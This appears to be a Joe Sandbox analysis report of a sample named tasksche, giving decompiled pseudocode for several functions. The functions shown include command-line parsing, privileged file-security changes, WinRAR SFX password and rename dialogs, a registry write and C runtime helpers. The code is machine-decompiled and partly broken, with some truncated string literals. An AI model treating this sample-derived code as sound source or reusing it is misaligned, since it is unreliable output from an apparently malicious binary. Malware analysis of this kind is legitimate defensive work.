Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DDC5
__getptd.LIBCMT ref: 0041DDD3
__getptd.LIBCMT ref: 0041DDDE
_CallCatchBlock2.LIBCMT ref: 0041DE04

Part of subcall function 0041A47B: __CallSettingFrame@12.LIBCMT ref: 0041A4C7

Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEBA
Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEC8

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction ID: e3df1943845817192d3dafa627097d3dc4affc0cfff12b6418408f9c93a4c95a
Opcode Fuzzy Hash: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction Fuzzy Hash: 9E1126B1D00209DFDF00EFA1C445AED7BB0FF04318F10806AF854AB251DB389A519B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D64B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040D64B(void* __eflags, intOrPtr _a4) {
				signed int _v8;
				char _v2050;
				signed int _v2052;
				signed short _v2054;
				char _v2056;
				void* __ebx;
				void* _t19;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t30;
				WCHAR* _t36;
				void* _t37;
				void* _t38;

				_v8 = _v8 & 0x00000000;
				_t19 = E00410C58(__eflags, _a4,  &_v2056, 0x400);
				_t45 = _t19;
				if(_t19 == 0) {
					return _t19;
				} else {
					do {
						_v8 = _v8 + 1;
						if(_v8 != 1 && (_v2056 == 0x2f || _v2056 == 0x2d)) {
							_t24 = CharUpperW(_v2054 & 0x0000ffff) - 0x44;
							if(_t24 == 0) {
								_push(0x800);
								_push( &_v2052);
								_push(0x44187a);
								L22:
								E00410B9C();
								goto L23;
							}
							_t27 = _t24 - 1;
							if(_t27 == 0) {
								__eflags = CharUpperW(_v2052 & 0x0000ffff) - 0x4c;
								if(__eflags == 0) {
									__eflags = _v2050;
									if(__eflags == 0) {
										 *0x441879 = 1;
									}
								}
								goto L23;
							}
							_t30 = _t27 - 0xb;
							if(_t30 == 0) {
								E0040D033(0x800, 0x44387a,  &_v2052);
								goto L23;
							}
							if(_t30 != 3) {
								goto L23;
							}
							_t36 = CharUpperW(_v2052 & 0x0000ffff);
							if(_t36 == 0) {
								L15:
								 *0x441874 = 1;
								L16:
								 *0x44184a = 1;
								goto L23;
							}
							_t37 = _t36 - 0x31;
							if(_t37 == 0) {
								goto L15;
							}
							_t38 = _t37 - 1;
							if(_t38 == 0) {
								 *0x441874 = 2;
								goto L16;
							}
							_t59 = _t38 != 0x1e;
							if(_t38 != 0x1e) {
								goto L23;
							}
							_push(0x800);
							_push( &_v2050);
							_push(0x44287a);
							goto L22;
						}
						L23:
						_t21 = E00410C58(_t59, _t45,  &_v2056, 0x400);
						_t45 = _t21;
					} while (_t21 != 0);
					return _t21;
				}
			}

0x0040d654
0x0040d66a
0x0040d66f
0x0040d673
0x0040d77e
0x0040d679
0x0040d67f
0x0040d67f
0x0040d686
0x0040d6b1
0x0040d6b4
0x0040d750
0x0040d757
0x0040d758
0x0040d75d
0x0040d75d
0x00000000
0x0040d75d
0x0040d6ba
0x0040d6bb
0x0040d738
0x0040d73b
0x0040d73d
0x0040d745
0x0040d747
0x0040d747
0x0040d745
0x00000000
0x0040d73b
0x0040d6bd
0x0040d6c0
0x0040d724
0x00000000
0x0040d724
0x0040d6c5
0x00000000
0x00000000
0x0040d6d8
0x0040d6db
0x0040d705
0x0040d705
0x0040d70f
0x0040d70f
0x00000000
0x0040d70f
0x0040d6dd
0x0040d6e0
0x00000000
0x00000000
0x0040d6e2
0x0040d6e3
0x0040d6f9
0x00000000
0x0040d6f9
0x0040d6e5
0x0040d6e8
0x00000000
0x00000000
0x0040d6ea
0x0040d6f1
0x0040d6f2
0x00000000
0x0040d6f2
0x0040d762
0x0040d76b
0x0040d770
0x0040d772
0x00000000
0x0040d77a

APIs

CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

Strings

-, xrefs: 0040D696
z8D, xrefs: 0040D71F

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: CharUpper
String ID: -$z8D
API String ID: 9403516-4016828469
Opcode ID: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction ID: 6cb870ea5eaa954c7fe556a8e422e29c236d8a0fbf71e72dd1f5d8a9bc66e192
Opcode Fuzzy Hash: 6e6643a8c5453ab08bb62a8daeba662149a01c951e73f69a55f52de3d79d5015
Instruction Fuzzy Hash: FE21A5B9C0011995DB60B7E98D48BBB66A8FB41304F144177E548B32D2EA7CDECC8B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040680A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040680A(void* __ebx, void* __edx, void* __edi) {
				void* __esi;
				int _t24;
				int _t26;
				void* _t29;
				int _t32;
				void* _t34;
				struct _SECURITY_DESCRIPTOR* _t35;
				void* _t42;
				long _t43;
				struct _SECURITY_DESCRIPTOR* _t45;
				void* _t47;
				struct _SECURITY_DESCRIPTOR* _t51;

				_t42 = __edi;
				_t34 = __ebx;
				E0041A4DC(E004294DA, _t47);
				E0041AAF0(0x1010);
				_t45 = 0;
				 *(_t47 - 0x1c) = 0;
				 *((intOrPtr*)(_t47 - 0x18)) = 0;
				 *((intOrPtr*)(_t47 - 0x14)) = 0;
				 *((intOrPtr*)(_t47 - 0x10)) = 0;
				_push(0);
				_push(_t47 - 0x1c);
				 *((intOrPtr*)(_t47 - 4)) = 0;
				_t24 = E00402C8B( *((intOrPtr*)(_t47 + 8)), __edx);
				if(_t24 != 0) {
					__eflags =  *0x4335a2;
					if( *0x4335a2 == 0) {
						_t32 = E00406553(L"SeSecurityPrivilege");
						__eflags = _t32;
						if(_t32 != 0) {
							 *0x4335a1 = 1;
						}
						E00406553(L"SeRestorePrivilege");
						 *0x4335a2 = 1;
					}
					__eflags =  *0x4335a1;
					_push(_t34);
					_push(_t42);
					_t43 = 7;
					if( *0x4335a1 != 0) {
						_t43 = 0xf;
					}
					_t35 =  *(_t47 - 0x1c);
					_t45 = SetFileSecurityW;
					_t24 = SetFileSecurityW( *(_t47 + 0xc), _t43, _t35);
					__eflags = _t24;
					if(_t24 == 0) {
						_t26 = E0040A3DC( *(_t47 + 0xc), _t47 - 0x101c, 0x800);
						__eflags = _t26;
						if(_t26 == 0) {
							L11:
							_t28 =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							__eflags =  *((intOrPtr*)(_t47 + 8)) + 0x1e;
							_t29 = E0040639F(0x4f, _t28,  *(_t47 + 0xc));
							_t45 = 0x4335ac;
							E00401000(_t29);
							_t24 = E004062BA(0x4335ac, 1);
						} else {
							_t24 = SetFileSecurityW(_t47 - 0x101c, _t43, _t35);
							__eflags = _t24;
							if(_t24 == 0) {
								goto L11;
							}
						}
					}
					__eflags =  *(_t47 - 0x1c);
					_pop(_t42);
					_pop(_t34);
				} else {
					_t51 =  *(_t47 - 0x1c);
				}
				if(_t51 != 0) {
					_push( *(_t47 - 0x1c));
					_t24 = E0041A506(_t34, _t42, _t45, _t51);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return _t24;
			}

0x0040680a
0x0040680a
0x0040680f
0x00406819
0x0040681f
0x00406821
0x00406824
0x00406827
0x0040682a
0x00406830
0x00406834
0x00406835
0x00406838
0x0040683f
0x00406849
0x00406850
0x00406857
0x0040685c
0x0040685e
0x00406860
0x00406860
0x0040686c
0x00406871
0x00406871
0x00406878
0x0040687f
0x00406880
0x00406883
0x00406884
0x00406888
0x00406888
0x00406889
0x0040688c
0x00406897
0x00406899
0x0040689b
0x004068ac
0x004068b1
0x004068b3
0x004068c4
0x004068ca
0x004068ca
0x004068d0
0x004068d5
0x004068dc
0x004068e5
0x004068b5
0x004068be
0x004068c0
0x004068c2
0x00000000
0x00000000
0x004068c2
0x004068b3
0x004068ea
0x004068ee
0x004068ef
0x00406841
0x00406841
0x00406841
0x004068f0
0x004068f2
0x004068f5
0x004068fa
0x004068ff
0x00406907

APIs

__EH_prolog.LIBCMT ref: 0040680F

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

SetFileSecurityW.ADVAPI32(00000000,00000007,?,?,?,?,00000000,?,00406EF5,?,?,?,?,0040773A,?,?), ref: 00406897
SetFileSecurityW.ADVAPI32(?,00000007,?,00000000,?,00000800,?,0040773A,?,?,?,?,?,00000000,0040839C,?), ref: 004068BE

Strings

SeSecurityPrivilege, xrefs: 00406852
SeRestorePrivilege, xrefs: 00406867

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: FileH_prologSecurity
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2167059215-639343689
Opcode ID: df1f3326dab5241f7dbd121e28ac1625a6d6bfdc25b651719aa411d48b527ef8
Instruction ID: e80266907105dbdc6ea336272c15ef3f26093cba4c1f52b7c6092cd65192489b
Opcode Fuzzy Hash: df1f3326dab5241f7dbd121e28ac1625a6d6bfdc25b651719aa411d48b527ef8
Instruction Fuzzy Hash: 8D219372901259BEDF21AF55DC01BAF77689B04758F00803BF802B62C1C7BC8A559BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040E1B2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040E1B2(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				void* _v4100;
				void* __ebx;
				struct HWND__* _t15;
				void* _t25;
				void* _t26;
				signed int _t27;
				signed int _t29;
				void* _t35;
				struct HWND__* _t38;
				void* _t40;
				void* _t41;

				E0041AAF0(0x1000);
				if( *0x44397a == 0) {
					_t15 =  *0x441844;
					_t38 = _t15;
					if(_a4 == 2 && IsWindowVisible(_t15) == 0) {
						_t38 = 0;
					}
					E0040A386(_t26, _a8, _a12,  &_v4100, 0x800);
					if( *0x44cf20 != 0 || DialogBoxParamW( *0x4335a4, L"GETPASSWORD1", _t38, E0040D477,  &_v4100) != 0) {
						_t25 = _a16;
						_t27 = 0x40;
						memcpy(_t25, 0x44ce20, _t27 << 2);
						_t41 = _t41 + 0xc;
						asm("movsw");
					} else {
						_t25 = _a16;
						E0040D033(_t25, _t25, 0x42a73c);
						 *0x44183c = 1;
					}
					if( *((char*)(_t25 + 0x100)) != 0) {
						_t40 = _t25;
						_t35 = 0x44387a;
						goto L11;
					}
				} else {
					_t25 = _a16;
					_t40 = 0x44387a;
					_t35 = _t25;
					L11:
					_t29 = 0x40;
					memcpy(_t35, _t40, _t29 << 2);
					asm("movsw");
				}
				return  *((intOrPtr*)(_t25 + 0x100));
			}

0x0040e1ba
0x0040e1c9
0x0040e1de
0x0040e1e3
0x0040e1e5
0x0040e1f2
0x0040e1f2
0x0040e206
0x0040e212
0x0040e24e
0x0040e253
0x0040e25b
0x0040e25b
0x0040e25d
0x0040e236
0x0040e236
0x0040e240
0x0040e245
0x0040e245
0x0040e266
0x0040e268
0x0040e26a
0x00000000
0x0040e26a
0x0040e1cb
0x0040e1cb
0x0040e1ce
0x0040e1d3
0x0040e26f
0x0040e271
0x0040e272
0x0040e274
0x0040e274
0x0040e280

APIs

IsWindowVisible.USER32 ref: 0040E1E8
DialogBoxParamW.USER32 ref: 0040E22C

Strings

z8D, xrefs: 0040E1CE
GETPASSWORD1, xrefs: 0040E221
z8D, xrefs: 0040E26A

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: DialogParamVisibleWindow
String ID: GETPASSWORD1$z8D$z8D
API String ID: 3157717868-3779298832
Opcode ID: 1ad5cc6c4ffddd477f1bedeb03b5b036b19e379e69cd2975f68aa86be08b8b02
Instruction ID: 2ec29a5f94ea44b227bd1a9c17bea14e87d691145e51ce1093468d312523c58d
Opcode Fuzzy Hash: 1ad5cc6c4ffddd477f1bedeb03b5b036b19e379e69cd2975f68aa86be08b8b02
Instruction Fuzzy Hash: B71159717002445BEB21DF62AC80B973B99AB08765F08007BFD446B2D1C7BC8CA0C76D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D3EE(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t11;
				void* _t17;
				void* _t21;
				struct HWND__* _t22;
				WCHAR* _t23;

				_t23 = _a16;
				_t22 = _a4;
				if(E004060EE(_t21, _t22, _a8, _a12, _t23, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t11 = _a8 - 0x110;
				if(_t11 == 0) {
					 *0x44cf28 = _t23;
					SetDlgItemTextW(_t22, 0x65, _t23);
					SetDlgItemTextW(_t22, 0x66,  *0x44cf28);
					goto L10;
				}
				if(_t11 != 1) {
					L5:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t22, 0x66,  *0x44cf28, 0x800);
					_push(1);
					L7:
					EndDialog(_t22, ??);
					goto L10;
				}
				if(_t17 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d3f2
0x0040d3f6
0x0040d411
0x0040d46e
0x00000000
0x0040d470
0x0040d416
0x0040d41b
0x0040d454
0x0040d461
0x0040d46c
0x00000000
0x0040d46c
0x0040d41e
0x0040d42a
0x00000000
0x0040d42a
0x0040d424
0x0040d425
0x0040d447
0x0040d44d
0x0040d430
0x0040d431
0x00000000
0x0040d431
0x0040d428
0x0040d42e
0x00000000
0x0040d42e
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D431
GetDlgItemTextW.USER32(?,00000066,00000800), ref: 0040D447
SetDlgItemTextW.USER32 ref: 0040D461
SetDlgItemTextW.USER32 ref: 0040D46C

Strings

RENAMEDLG, xrefs: 0040D3FD

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: RENAMEDLG
API String ID: 1770891597-3299779563
Opcode ID: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction ID: a809f9c23db95260371581c6ee5cd384337b37eb9584205a8113e0e6bfd29c9a
Opcode Fuzzy Hash: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction Fuzzy Hash: 6F01D836A4421877DB205F949C41FBB3B69E705F50F544036FA01B61D0C6BAA8269BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00405F3C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00405F3C(intOrPtr __ecx, void* __eflags) {
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t33;

				E0041A4DC(E0042961B, _t33);
				_push(__ecx);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_t31 = __ecx;
				_push(0x12c);
				_push(__ecx);
				 *((intOrPtr*)(_t33 - 0x10)) = __ecx;
				E0041C6B6(__ecx, __eflags);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_push(0x178);
				_t22 = _t31 + 0x4b4;
				_push(_t31 + 0x4b4);
				 *((intOrPtr*)(_t33 - 4)) = 0;
				E0041C6B6(_t31, 0);
				 *((char*)(_t33 - 4)) = 1;
				E0040CA39(_t31 + 0xa9c);
				 *((intOrPtr*)(_t31 + 0xa98)) = 0;
				E0041A820(0, _t31, 0, 0x4b0);
				E0041A820(0, _t22, 0, 0x5e0);
				 *((intOrPtr*)(_t31 + 0x4b0)) = 0;
				 *((intOrPtr*)(_t31 + 0xa94)) = 0;
				E0041A820(0, _t31 + 0xba4, 0, 0x400);
				 *[fs:0x0] =  *((intOrPtr*)(_t33 - 0xc));
				return _t31;
			}

0x00405f41
0x00405f46
0x00405f4a
0x00405f4f
0x00405f54
0x00405f56
0x00405f58
0x00405f5d
0x00405f5e
0x00405f61
0x00405f66
0x00405f6b
0x00405f70
0x00405f72
0x00405f77
0x00405f7f
0x00405f80
0x00405f83
0x00405f8e
0x00405f92
0x00405f9e
0x00405fa4
0x00405fb0
0x00405fc2
0x00405fc8
0x00405fce
0x00405fde
0x00405fe6

APIs

__EH_prolog.LIBCMT ref: 00405F41
_memset.LIBCMT ref: 00405FA4
_memset.LIBCMT ref: 00405FB0
_memset.LIBCMT ref: 00405FCE

Strings

r, xrefs: 00405F4A, 00405F66

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog
String ID: r
API String ID: 3013590873-3291565091
Opcode ID: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction ID: fcb346f71e1c6521d09fa93fcec7134e0802dca7d1a5d7d76298086db4932847
Opcode Fuzzy Hash: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction Fuzzy Hash: 880144B17417407AD220EB669C46FEBBAA8DB85B18F00041FB255661C2C7FC5941CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA8C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DA8C(void* __esi, char* _a4) {
				void* _v8;
				int _v12;
				short _v4108;
				long _t12;
				intOrPtr _t27;

				_t12 = E0041AAF0(0x1008);
				if( *0x441878 != 0) {
					_t27 =  *0x438818; // 0x0
					if(_t27 != 0) {
						E0040DA4F( &_v4108, 0x438818);
						_t12 = RegCreateKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 0, 0, 0x20006, 0,  &_v8,  &_v12);
						if(_t12 == 0) {
							RegSetValueExW(_v8,  &_v4108, 0, 1, _a4, E0041A7AF(_a4) + _t16 + 2);
							return RegCloseKey(_v8);
						}
					}
				}
				return _t12;
			}

0x0040da94
0x0040daa2
0x0040daa4
0x0040daab
0x0040dab9
0x0040dad9
0x0040dae2
0x0040db02
0x00000000
0x0040db0b
0x0040dae2
0x0040daab
0x0040db13

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegCreateKeyExW.ADVAPI32(80000001,Software\WinRAR SFX,00000000,00000000,00000000,00020006,00000000,?,?,00438818), ref: 0040DAD9
_wcslen.LIBCMT ref: 0040DAE7
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 0040DB02
RegCloseKey.ADVAPI32(?), ref: 0040DB0B

Strings

Software\WinRAR SFX, xrefs: 0040DACF

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: CloseCreateValue_wcscpy_wcslen
String ID: Software\WinRAR SFX
API String ID: 3170333323-754673328
Opcode ID: b1fd503150a700540cca4e5fa568b52ed6b759a2dee86b20b19428de93e8b6f0
Instruction ID: c04f9cf324d6fb33717342d95d48926d42d97767c878bcc2ae640bd506731f16
Opcode Fuzzy Hash: b1fd503150a700540cca4e5fa568b52ed6b759a2dee86b20b19428de93e8b6f0
Instruction Fuzzy Hash: 7F018476A0020CBFEB21AF90DC86EDA777CEB08388F504076B60562061DA745ED99669

Uniqueness

Uniqueness Score: -1.00%

Function 0041DAD4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041DAD4(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E0041E9B4(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x42d8f0);
						E0041FA9C(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E0041FAE1(E00423F89(_t23, _t24, _t25));
					}
				}
			}

0x0041dad4
0x0041dade
0x0041dae5
0x0041db04
0x0041db0b
0x0041db12
0x0041db17
0x0041db17
0x0041db17
0x00000000
0x0041dae7
0x0041dae7
0x0041daec
0x0041db19
0x0041db19
0x0041db1c
0x0041daee
0x0041daf3
0x0041ec8a
0x0041ec8c
0x0041ec91
0x0041ec9b
0x0041eca0
0x0041eca2
0x0041eca6
0x0041ecb1
0x0041ecb1
0x0041ecc2
0x0041ecc2
0x0041daec

APIs

__getptd.LIBCMT ref: 0041DAEE

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DAFF
__getptd.LIBCMT ref: 0041DB0D

Strings

csm, xrefs: 0041DAE7
MOC, xrefs: 0041DAE0

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction ID: 7ce874268d128f0e9cc5e4e4439fd54cca852ebc00a18d755191ea46e2ae681e
Opcode Fuzzy Hash: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction Fuzzy Hash: 8EE048755141048FDB50976AC445FA93394EB48318F1504A7E80CC7353D77CE8C0558B

Uniqueness

Uniqueness Score: -1.00%

Function 00421BA7 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00421BA7(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x42d9d0);
				E0041FA9C(__ebx, __edi, __esi);
				_t31 = E0041E9B4(__ebx, __edx, __edi, _t35);
				_t15 =  *0x430da4; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0041EFA3(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x430ca8; // 0x20b16c8
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x430880;
								if(__eflags != 0) {
									_push(_t33);
									E0041A506(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x430ca8; // 0x20b16c8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x430ca8; // 0x20b16c8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00421C42();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00421495(_t29, _t31, 0x20);
				}
				return E0041FAE1(_t33);
			}

0x00421ba7
0x00421ba7
